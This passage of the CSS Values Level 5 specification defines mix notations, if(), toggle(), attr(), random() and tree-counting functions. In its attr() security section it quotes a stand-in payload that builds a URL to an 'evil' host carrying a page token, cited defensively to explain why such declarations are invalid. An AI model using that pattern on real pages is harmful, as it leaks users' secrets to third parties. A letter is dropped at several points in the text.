llow representing interpolation beyond the rangedefined by the start and end values. Note: While progress itself can be a percentage,mapping directly to the equivalent number,a function that resolves to a number,like progress(),resolves percentages using the normal rules for the context;for example, in width, they would be resolved against a length. The computed value of a progress value specified with percentage or number is the computed number converted through the easing-function (if any).The computed value of a progress value specified with animation-timeline is the computed animation-timeline and easing-function (if any). 6.2. Interpolated Numeric and Dimensional Values: the calc-mix() notation The calc-mix() mix notation represents an interpolated numeric or dimensional value.Like calc(), it is a math function,with the following syntactic form:calc-mix() = calc-mix( progress, calc-sum, calc-sum ) The calc-sum arguments can resolveto any number, dimension, or percentage,but must have a consistent type or else the function is invalid.The result’s type will be the consistent type, made consistent with the type of the progress value. The used value of a valid calc-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a number,then the computed value is likewisethe result of interpolating the two c

mputed values to that progress value(in other words, A * (1-progress) + B * progress)it is otherwise the calc-mix() notation itselfwith its arguments each computed according to their type. 6.3. Interpolated Color Values: the color-mix() notation This specification extends the color-mix() functional notation as a mix notation accepting the following syntaxes:color-mix() = color-mix( [ progress && color-interpolation-method? ] , color, color ) | color-mix( color-interpolation-method, [color && percentage [0,100]?]#{2} ) The used value of the first mix notation variantis equivalent to assigning the progress value,as a percentage,to the percentage of the second color argument in the second variant. That is, color-mix(progress, color1, color2) is equivalent to color-mix(color1, color2 progress). See CSS Color 5 § 3 Mixing Colors: the color-mix() Function for the normative definition of the second variant. progress allows returning percentages outside 0-100%,but color-mix() doesn’t allows such values,so need to define how that gets processed. 6.4. Interpolated Image Values: the cross-fade() notation This specification extends the cross-fade() functional notation as a mix notation accepting the following syntaxes:cross-fade() = cross-fade( progress, [ image | color ], [ image | color ] ) | cross-fade( cf-image# ) The used value of the first mix notation variantis equivalent to assigning the progress v

lueas the percentage of the second color argument in the second variant. That is, cross-fade(progress, image1, image2) is equivalent to cross-fade(image1, image2 progress). See CSS Images 4 § 2.6 Combining images: the cross-fade() notation for the normative definition of the second variant. 6.5. Interpolated Transform Values: the transform-mix() notation The transform-mix() mix notation represents an interpolated transform-list,with the following syntactic form:transform-mix() = transform-mix( progress, transform-list, transform-list ) The used value of a valid transform-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a percentage,and the transform-lists can be interpolatedwithout used-value-time information,then the computed value is likewisethe result of interpolating the two computed values to that progress value;it is otherwise the transform-mix() notation itselfwith its arguments each computed according to their type. transform-mix() is, itself, a transform-function. 6.6. Interpolated Property Values: the mix() notation Interpolation of any two property values can be representedby the mix() mix notation,which supports two alternative syntax patterns:mix() = mix( progress , whole-value , whole-value ) | mix( progress && of keyframes-name ) The first syntax alternative, like other mix notations,interpolates betwe

n the first whole-value (its mix start value)and the second whole-value (its mix end value).The second uses the mix progress value to interpolate the corresponding property declarations from a set of keyframes,allowing for more complex interpolation curves. For the standard mix notation variant,if the two whole-values being interpolated by mix() are interpolable as values for the property in which it is specified,and the interpolated value can be represented without mix(),the computed value of mix() isthe result of interpolating these two valuesto the progress given by progress.Otherwise,the computed value of mix() isthe mix() functional notation itselfwith its progress value computedand its whole-values (if provided)computed as values for this property. For example, most uses of mix() will resolve at computed-value time: color: mix(90%, red, blue);/* via simple interpolation, computes to: */color: rgb(10% 0 90%);color: mix(90%, currentcolor, black);/* can’t be fully resolved at computed-value time, but still has a defined representation: */color: color-mix(currentcolor 90%, black 10%);float: mix(90%, left, right);/* discretely animatable */float: right; But a few cases don’t have an intermediate representation:transform: mix(90%, translate(calc(1em + 50%)), rotate(30deg));/* because functions don’t match, it will interpolate via matrix(). But translate(%) needs layout information to turn into a matrix(), so the in

erpolated value can’t actually be represented. Computes to: */transform: mix(90%, translate(calc(16px + 50%)), rotate(30deg));transform: mix(90% of ripple); The mix() notation is a whole-value.Additionally,if any of its whole-value arguments are not animatable,the notation is invalid. For example, the following declarations are invalid,and will be ignored: /* Invalid start value */color: mix(90%, #invalid, #F00);/* Function is mixed with other values */background: url(ocean) mix(10%, blue, yellow);/* animation-* is not animatable */animation-delay: mix(0%, 0s, 2s); 7. Miscellaneous Value Substituting Functions 7.1. Representing An Entire Property Value: the whole-value type Several functions defined in this specificationcan only be used as the "whole value" of a property.For example, background-position: toggle(50px 50px, center); is valid,but background-position: toggle(50px, center) 50px; is not.The whole-value production represents these values. All properties implicitly accept a whole-value as their entire value,just as they accept the CSS-wide keywords as their entire value. When used as a component value of a function, whole-value also represents any CSS valuenormally valid as the whole valueof the property in which it is used(including additional whole-value functions).However, some functions may restrictwhat a whole-value argument can include. 7.2. Selecting the First Supported Value: th

first-valid() notation CSS supports progressive enhancement with its forward-compatible parsing:authors can declare the same property multiple times in a style rule,using different values each time,and a CSS UA will automatically use the last one that it understandsand throw out the rest.This principle, together with the @supports rule,allows authors to write stylesheets that work wellin old and new UAs simultaneously. However, using var() (or similar substitution functions that resolve after parsing)thwarts this functionality;CSS UAs must assume any such property is valid at parse-time. The first-valid() functional notation inlines the fallback behaviorintrinsic to parsing declarations.Unlike most notations,it can accept any valid or invalid syntax in its arguments,and represents the first value among its argumentsthat is supported (parsed as valid) by the UAas the whole value of the property it’s used in.first-valid() = first-valid( declaration-value# ) If none of the arguments represent a valid value for the property,the property is invalid at computed-value time. first-valid() is a whole-value. Should this have a different name?We didn’t quite decide on it during the resolution to add this. Note: Despite effectively taking whole-values as its argument, first-valid() is instead defined to take declaration-valuesbecause, by definition,it’s intended to be used in cases where its values might be invalid for the de

laration it’s in. declaration-value imposes no contextual validity constraints on what it matches,unlike whole-value. 7.3. Conditional Value Selection: the if() notation The if() notation is an arbitrary substitution function that represents conditional values.Its argument consists of an ordered semi-colon–separated list of statements,each consisting of a conditionfollowed by a colonfollowed by a value.An if() notation representsthe value corresponding to the first condition in its argument list to be true;if no condition matches,then the if() notation represents an empty token stream. The if() notation syntax is defined as follows:if() = if( [ if-condition : declaration-value? ; ]* if-condition : declaration-value? ;? )if-condition = boolean-expr[ if-test ] | elseif-test = supports( [ supports-condition | ident : declaration-value ] ) | media( media-query ) | style( style-query ) The else keyword representsa condition that is always true. To resolve an if() function,return the declaration-value?associated with the first if-condition that is true;if none are true,return nothing (an empty token stream). Note: Unlike using @media/@supports/@container rules,which just ignore their contents when they’re falseand let the cascade determine what values otherwise apply,declarations with if() do not roll back the cascade if the conditions are false;any fallback values must be provided i

line. 7.4. Toggling Between Values: the toggle() notation The toggle() expression allows descendant elementsto cycle over a list of values instead of inheriting the same value. The following example makes em elements italic in general,but makes them normal if they’re inside something that’s italic: em { font-style: toggle(italic, normal); } The following example cycles markers for nested lists,so that a top level list has disc-shaped markers,but nested lists use circle, then square, then box,and then repeat through the list of marker shapes,starting again (for the 5th list deep) with disc. ul { list-style-type: toggle(disc, circle, square, box); } The syntax of the toggle() expression is:toggle() = toggle( whole-value# ) The toggle() notation is a whole-value.However, it is not allowed to be nested,nor may it contain attr() or calc() notations;declarations containing such constructs are invalid. The following toggle() examples are all invalid: background-position: 10px toggle(50px, 100px);/* toggle() must be the sole value of the property */list-style-type: toggle(disc, 50px);/* 50px isn’t a valid value of list-style-type */ To determine the computed value of toggle(),first evaluate each argument as if it were the sole value of the property in which toggle() is placedto determine the computed value that each represents,called Cn for the n-th argument to toggle().Then, compare the property

s inherited value with each Cn.For the earliest Cn that matches the inherited value,the computed value of toggle() is Cn+1.If the match was the last argument in the list,or there was no match,the computed value of toggle() is the computed value that the first argument represents. Note: This means that repeating values in a toggle() short-circuits the list.For example toggle(1em, 2em, 1em, 4em) will be equivalent to toggle(1em, 2em). Note: That toggle() explicitly looks at the computed value of the parent,so it works even on non-inherited properties.This is similar to the inherit keyword,which works even on non-inherited properties. Note: That the computed value of a property is an abstract set of values,not a particular serialization [CSS21],so comparison between computed values should always be unambiguous and have the expected result.For example,a Level 2 background-position computed valueis just two offsets, each represented as an absolute length or a percentage,so the declarations background-position: top center and background-position: 50% 0% produce identical computed values.If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict,please provide feedback so we can fix it. If toggle() is used on a shorthand property,it sets each of its longhands to a toggle() valuewith arguments corresponding to what the longhand would have receivedhad each of the original toggle() arguments

been the sole value of the shorthand. For example, the following shorthand declaration: margin: toggle(1px 2px, 4px, 1px 5px 4px); is equivalent to the following longhand declarations:margin-top: toggle(1px, 4px, 1px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px, 4px);margin-left: toggle(2px, 4px, 5px); Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin,they will cycle between only two valueswhile the left and right margins cycle through three.In other words, the declarations above will yield the same computed valuesas the longhand declarations below:margin-top: toggle(1px, 4px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px);margin-left: toggle(2px, 4px, 5px); which may not be what was intended. 7.5. Custom Property References: the var() notation The var() notation substitutes the value of a custom property,see the CSS Custom Properties for Cascading Variables Module. [CSS-VARIABLES] 7.6. Inherited Value References: the inherit() notation Like the inherit keyword, the inherit() functional notation resolves to the computed value of a property on the parent.Rather than resolving to the value of the same property, however,it resolves to the tokenized computed value of the property specified as its first argument.Its second argument, if present, is used as a fallbackin case the first argument resolves to the guaranteed-invalid valu

. inherit() is an arbitrary substitution function whose syntax is defined as:inherit() = inherit( custom-property-name, declaration-value? ) To resolve an inherit() function,return the inherited value of the custom property specified by the first argument,and (if specified) the fallback specified by the second argument. Note: Future levels of CSS may allow specifying standard CSS properties in inherit();however because the tokenization of computed values is not fully standardized for all CSS properties,this feature is deferred from Level 5.Note that the computed value differs from the used value,and is not always the resolved value returned by getComputedStyle();thus even if inherit(width) were allowed,it would frequently return the keyword auto, not the used length. 7.7. Attribute References: the attr() notation The attr() function substitutes the value of an attribute on an element into a property,similar to how the var() functionsubstitutes a custom property value into a function.attr() = attr( attr-name syntax? , declaration-value?)attr-name = [ ident-token | ]? ident-token The arguments of attr() are: attr-name Gives the name of the attribute being referenced,similar to wq-name (from [SELECTORS-3])but without the possibility of a wildcard prefix. If no namespace is specified(just an identifier is given, like attr(foo)),the null namespace is implied.(This is usually what’s desired,as namespaced

attributes are rare.In particular, HTML and SVG do not contain namespaced attributes.)As with attribute selectors,the case-sensitivity of attr-name depends on the document language. If attr() is used in a property applied to an element,it references the attribute of the given name on that element;if applied to a pseudo-element,the attribute is looked up on the pseudo-element’s originating element. syntax Specifies how the attribute value is parsed into a CSS value.Values that fail to parse according to the syntaxtrigger fallback. Omitting the syntax argumentcauses the attribute’s literal valueto be treated as the value of a CSS string,with no CSS parsing performed at all(including CSS escapes, whitespace removal, comments, etc). Note: This is different from specifying a syntax of *,which still triggers CSS parsing(but with no requirements placed on itbeyond that it parse validly),and which substitutes the result of that parsing directly,rather than as a string value. declaration-value Specifies a fallback value for the attr(),which will be substituted instead of the attribute’s valueif the attribute is missingor fails to parse as the specified type. If the syntax argument is omitted,the fallback defaults to the empty string if omitted;otherwise, it defaults to the guaranteed-invalid value if omitted. If a property contains one or more attr() functions,and those functions are syntactically valid,the entire property’s g

ammar must be assumed to be valid at parse time.It is only syntax-checked at computed-value time,after attr() functions have been substituted. Note that the default value need not be of the type given.For instance, if the type required of the attribute by the author is number px,the default could still be auto,like in width: attr(size number px, auto);. This example shows the use of attr() to visually illustrate datain an XML file: stock wood length="12"/ wood length="5"/ metal length="19"/ wood length="4"//stockstock::before { display: block; content: "To scale, the lengths of materials in stock are:";}stock * { display: block; width: attr(length number em, 0px); height: 1em; border: solid thin; margin: 0.5em;}wood { background: orange url(wood.png);}metal { background: silver url(metal.png);} 7.7.1. Attribute Value Substitution: the attr() notation attr() is an arbitrary substitution function,similar to var(),and so is replaced with the value it represents (if possible)at computed value time;otherwise, it’s replaced with the guaranteed-invalid value,which will make its declaration invalid at computed-value time. To resolve an attr() function: Let el be the element that the style containing the attr() functionis being applied to.Let attr name be the attribute name specified in the function.Let syntax be the syntax specified in the function,or null if it was omitted.Let f

llback be the declaration-value? argument specified in the function,or the guaranteed-invalid value if it was omitted. If there is no attribute named attr name on el,return the guaranteed-invalid value and fallback.Otherwise, let attr value be that attribute’s value. If syntax is null,return a CSS string whose value is attr value. Note: No parsing or modification of any kind is performed on the value. Parse with a syntax attr value, with syntax and el.Return the result and fallback. 7.7.2. Security An attr() function can reference attributesthat were never intended by the page to be used for styling,and might contain sensitive information(for example, a security token used by scripts on the page). In general, this is fine.It is difficult to use attr() to extract information from a pageand send it to a hostile party,in most circumstances.The exception to this is URLs.If a URL can be constructed with the value of an arbitrary attribute,purely from CSS,it can easily send any information stored in attributesto a hostile party,if 3rd-party CSS is allowed at all. To guard against this,the values produced by an attr() are considered attr()-tainted,as are functions that contain an attr()-tainted value. Registered custom properties containing attr() maintain the attr()-taint on their attr()-tainted valuesacross var() substitution. Using an attr()-tainted value as or in a url makes a declaration

nvalid at computed-value time. For example,all of the following are invalid: background-image: src(attr(foo)); - can’t use it directly. background-image: image(attr(foo)) - can’t use it in other url-taking functions. background-image: src(string("http://example.com/evil?token=" attr(foo))) - can’t "launder" it thru another function. --foo: attr(foo); background-image(src(var(--foo))) (assuming that --foo is a registered custom property with string syntax) - can’t launder the value thru another property, either. However, using attr() for other purposes is fine,even if the usage is near a url: background-image: image("foo.jpg", attr(bgcolor color)) is fine;the attr() is providing a fallback color,and the url isn’t attr()-tainted. Note: Implementing this restrictionrequires tracking a dirty biton values constructed from attr() values,since they can be fully resolved into a stringvia registered custom properties,so you can’t rely on just examining the value expression.Note that non-string types can even trigger this,via functions like string() that can stringify other types of values: --foo: attr(foo number); background-image: src(string(var(--foo))) needs to be invalid as well. 8. Generating Random Values It is often useful to incorporate some degree of "randomness" to a design,either to make repeated elements on a page feel less static and identical,or just to

dd a bit of "flair" to a page without being distracting. The random() and random-item() functions(the random functions)allow authors to incorporate randomness into their page,while keeping this randomness predictable from a design perspective,letting authors decide whether a random value should be reused in several placesor be unique between instances. The exact random-number generation method is UA-defined.It should be the case that two distinct random valueshave no easily-detectable correlation,but this specification intentionally does not specify what that meansin terms of cryptographic strength.Authors must not rely on random functions for any purposes that depend on quality cryptography. 8.1. Generating a Random Numeric Value: the random() function The random() function is a math function that represents a random value between a minimum and maximum value,drawn from a uniform distribution,optionally limiting the possible values to a step between those limits:random() = random( random-caching-options? , calc-sum, calc-sum, [by calc-sum]? )random-caching-options = dashed-ident || per-element Its arguments are: random-caching-options The optional random-caching-options provides some control over whether a given random() functionresolves similarly or differently to other random()s on the page.See § 8.3 Generating/Caching Random Values: the random-caching-options value for details. By default, rand

m() resolves to a single value,shared by all elements using that style,and two random() functions with identical argumentswill resolve to the same random value. Providing a dashed-ident does nothing,but can make the argument lists distinctbetween two or more otherwise-identical random() functions,so they’ll generate distinct values. The per-element keyword causes the random() functionto generate a different value on each element the function is applied to,rather than resolving to a single value per usage in the stylesheet. calc-sum, calc-sum The two required calculations specify the minimum and maximum valuethe function can resolve to.Both limits are inclusive(the result can be the min or the max). If the maximum value is less than the minimum value,it behaves as if it’s equal to the minimum value. For example, random(100px, 300px) will resolve to a random length between 100px and 300px:it might be 100px, 300px, or any value between them like 234.5px. by calc-sum The final optional argumentspecifies a step value:the values the function can resolve toare further restricted to the form min + (N * step),where N is a non-negative integerchosen uniformly randomly from the possible valuesthat result in an in-range value. For example, random(100px, 300px, by 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px;it will never return a value like 120px. While the minimum value is a

ways a possible result,the maximum value isn’t always,if it’s not also a multiple of the step from the minimum.For example, in random(100px, 300px, by 30px),the largest possible value it can resolve to is 280px,6 steps from the minimum value. Note that rounding issues might have an effect here:in random(100px, 200px, by 100px / 3) you’ll definitely get three possible values(100px, and approximately 133.33px and 166.67px),but whether 200px is possible depends on rounding precision.To be safe, you can put the maximum value slightly above where you expect the final step to land,like random(100px, 201px, by 100px / 3). As explained in the definition of round(),CSS has no "natural" precision for values,but the step value can be used to assign one. For example, random(100px, 500px, by 1px) restricts it to resolving only to whole px values; random(1, 10, by 1) is restricted to resolving only to integers;etc. Note: The definition of the step does not allowfor naively generating a random value in the rangeand then rounding it to the nearest step value,as that can result in the values not appearing with the same weights.For example, random(100px, 200px, by 50px) has to generate the three possible values each with a 1/3 chance;a naive rounding-based method will instead incorrectly generate 150px twice as often as the boundary values. All of the calculation arguments can resolve to any number, dimension, or percentag

but must have the same type, or else the function is invalid;the result will have the same type as the arguments. For example, random(50px, 100%, by 1em) is valid(assuming percentages are valid in the context this is used,and resolve to a length),as all three arguments resolve to a length. However, random(50px, 180deg) is invalid,as lengths and angles are not the same type. A random() function can be simplified as soon as its argument calculations can be simplified to numeric values. Note: This means that random() is usually resolvedby computed value time,and thus will inherit as a static numeric value.However, if the argument calculations aren’t resolveduntil used value time(such as if they include percentage valuesthat require layout information to resolve), inheritance will transfer the random() function itself.(This is no different, however, to the behavior of the percentages themselves,which would inherit as percentagesand thus might resolve to different values on the child elements.) At least in theory it should be fine to use random() in non-property contexts,so long as per-element isn’t specified;it’s well-defined what happens with @media (max-width: random(100px, 500px)) {...},for example.I suspect we want to disallow it, tho? 8.1.1. Argument Ranges In random(A, B, by C),if A or B is infinite,the result is NaN.If C is infinite,the result is A. (If C is zero or negative,the r

sult is A,but that falls out of the standard definition.) Note: As usual for math functions,if any argument calculation is NaN,the result is NaN. 8.2. Picking a Random Item From a List: the random-item() function The random-item() functionresolves to a random itemfrom among its list of items.random-item() = random-item( random-caching-options , [ declaration-value? ]# ) The required random-caching-options is interpreted identically to random().(See § 8.3 Generating/Caching Random Values: the random-caching-options value for details.) Like random(),the dashed-ident can be used to force similar random-item() functionsto generate distinct random values,and per-element causes it to resolve to a distinct value on each element. Aside from these,the grouping of random-item() functions as "identical"is much simpler:all that matters is the number of arguments. That is, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3) will always resolve to the same argument index:either red and 1, or blue and 2, or green and 3.This allows coordination between groups of propertiesthat all want to use a random set of values. On the other hand, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3, 4) will have no connection to each other;any of the 12 possible combinations can occur. Note: The random-caching-options argument is required in random-item(),but optional in random(),

tboth for parsing reasons(it’s impossible to tell whether random-item(--foo, --bar, --baz) has three declaration-value argumentsor two and a random-caching-options argument),and because accidentally associating the random generation of random-item() functions togetheris much easier to do accidentally,since only the number of arguments is used to distinguish instances. The remaining arguments are arbitrary sequences of CSS values.The random-item() function resolves to one of these sequences,chosen uniformly at random. The random-item() function is an arbitrary substitution function,like var(). That is, if you use random-item(): So long as random-item() itself (and any other arbitrary substitution functions)is syntactically valid,the entire property is assumed to be valid at parse time. random-item() is substituted with whatever value it resolves toat computed value timewhen you’d substitute a var(),so children all inherit the same resolved value. If the substituted value ends up making the property invalid,the property’s value becomes the guaranteed-invalid value. Define arbitrary substitution function,probably over in Variables,since we have several upcoming functions leaning on this functionality. Since random-item() is var()-like,we probably want to restrict it to only be usable in properties.(This is likely something we want to apply to all such functions.)Tho random() is a fundament

lly different kind of value,we probably want to restrict it as well,for thematic consistency. 8.3. Generating/Caching Random Values: the random-caching-options value In a programming language like JavaScript,there’s a clear temporal ordering to code,so you can tell exactly when something like a call to Math.random() is evaluated.You can also store the results in a variable,making it clear when you’re reusing a single random value in multiple places,versus using a distinct random value in each location. CSS, on the other hand, is a declarative language(code is not "executed" in any particular order,nor is there any control over how many times something is "executed");it makes it very easy to apply identical styles to multiple elementsbut difficult to specify distinct values for each of them(making it unclear whether a property using random() is meant to resolve to the same value on each element it’s applied toor to distinct values on each);and it has very limited "variable" functionality(making it difficult to intentionally reuse a particular randomly-generated value in several places). To resolve these issues,the random() and random-item() functions are defined to generate random valuesunder the following caching semantics: Each instance of random() or random-item() in a stylesheetspecifies a random-caching key.Two instances of either function must resolve to identical valuesif their random-caching keys are identical;t

ey must resolve to distinct valuesif they’re different. ("Distinct" here means generated by a fresh random operation;this might coincidentally result in the same value as another random operation.) For random(),the random-caching key is a tuple of: The used value of the minimum calculation. The used value of the maximum calculation. The used value of the step calculation, if present,or null otherwise. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. For random-item(),the random-caching key is a tuple of: The number of arguments to the function. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. The "unique value per element or pseudo-element" must have the same lifetimeas a JavaScript reference to the element(or to the originating element + sufficient additional info to uniquely identify the pseudo-element).Elements in separate documents(including across refreshes of the same page,which produces distinct documents with distinct elements) should have distinct unique values.(This is not strictly re

uired,to allow for pseudo-random generation of these values,but uniqueness should be likely enoughthat authors cannot depend on elements having the same values across documents.) Additionally, the random generation method should generate distinct values for the same operationwhen invoked on different documents(including refreshes of the same page). For example, in the following stylesheet: .random-square { width: random(100px, 500px); height: random(100px, 500px);} The random-caching keys for both functions are identical: (100px, 500px, null, null, null).This means that both will resolve to the exact same value,guaranteeing a square elementwith a size somewhere between 100px and 500px.Additionally, every .random-square elementwill have the same size. On other hand, in this stylesheet:.random-rect { width: random(100px, 500px); height: random(--x, 100px, 500px);} The random-caching keys are distinct between the two functions:the function in width has (100px, 500px, null, null, null),while the function in height has (100px, 500px, null, --x, null). This means the two functions will resolve to distinct random values,making it very unlikely for the element to be square.However, every element matching .random-rect will still have the same random size. Changing any aspect of the function also alters this key.The following two declarations are similarly distinct,resulting in the width and height havi

g no connection to each other:.random-rect-2 { width: random(100px, 500px); height: random(100px, 500px, by 50px);} But so long as the used values end up identical,two functions that look distinct might end up identical.For example, in the following code:.random-square-2 { font-size: 16px; width: random(160px, 320px); height: random(10em, 20em);} The two functions superficially look different,but after the lengths are fully resolvedthey end up with identical random-caching keys;each is (160px, 320px, null, null, null),so actually the widths and heights will end up always identical. By default, each instance of a random() function in a stylesheetessentially resolves to a static value,which is then shared by every element that property applies to.This behavior can be changed with the per-element keyword. For example, in:.foo { width: random(100px, 500px); } Multiple elements matching .foo will end up with the same random width. But in:.foo { width: random(per-element, 100px, 500px); } Every element matching .foo will get its own unique width. Note that this causes the value to be unique per element,not per value necessarily.For example, in:.random-squares { width: random(per-element, 100px, 500px); height: random(per-element, 100px, 500px);} Every element matching .random-squares will get a distinct random value,but that value will be the same for width and height on a given element,

aking the element square.This is because in both propertiesthe random-caching key is (100px, 500px, null, null, [unique value for the element]),so both functions will resolve to the same length on a single element. This makes random values in custom properties act more predictably.The preceding code could also be written as:.foo { --size: random(per-element, 100px, 500px); width: var(--size); height: var(--size);} 9. Tree Counting Functions: the sibling-count() and sibling-index() notations The sibling-count() functional notation represents,as an integer,the total number of child elements in the parent of the element on which the notation is used. The sibling-index() functional notation represents,as an integer,the index of the elementon which the notation is usedamong the children of its parent.Like :nth-child(), sibling-index() is 1-indexed. Note: The counter() function can provide similar abilities as sibling-index(),but returns a string rather than an integer. When used on a pseudo-element,these both resolve as if specifiedon its ultimate originating element. Note: Like the rest of CSS (other than selectors), sibling-count() and sibling-index() operate on the flat tree. Note: These functions may, in the future,be extended to accept an of selector argument,similar to :nth-child(),to filter on a subset of the children